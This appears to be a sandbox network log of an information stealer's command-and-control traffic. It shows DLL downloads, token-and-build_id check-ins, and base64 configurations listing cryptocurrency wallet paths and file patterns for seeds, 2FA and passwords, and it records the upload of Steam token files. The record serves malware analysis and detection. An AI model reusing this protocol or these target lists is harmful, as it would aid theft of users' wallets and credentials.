Oct 7, 2024 03:15:44.772706985 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:44.810568094 CEST	109	OUT	GET /freebl3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:45.015564919 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:44 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 03:15:45.759025097 CEST	109	OUT	GET /mozglue.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:45.974045038 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:45 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 03:15:46.461075068 CEST	110	OUT	GET /msvcp140.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:46.679863930 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:46 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 03:15:46.971024036 CEST	110	OUT	GET /softokn3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:47.174026012 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:47 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 03:15:47.292988062 CEST	114	OUT	GET /vcruntime140.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:47.506918907 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:47 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 03:15:47.594826937 CEST	106	OUT	GET /nss3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:47.797759056 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:47 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 03:15:49.681840897 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHD Host: lade.petperfectcare.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:50.634529114 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:50.898051023 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="mode"3------EGCGHCBKFCFBFHIDHDBF--
Oct 7, 2024 03:15:51.505513906 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 7, 2024 03:15:51.509407997 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="mode"4------AFCAAEGDBKJJKECBKFHC--
Oct 7, 2024 03:15:52.137052059 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 7, 2024 03:15:52.241079092 CEST	651	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA Host: lade.petperfectcare.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="file_data"k/lcAQ==------DAAFIIJDAAAAKFHIDAAA--
Oct 7, 2024 03:15:52.859652996 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:52.895606041 CEST	192	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: lade.petperfectcare.com Content-Length: 98537 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:54.138382912 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
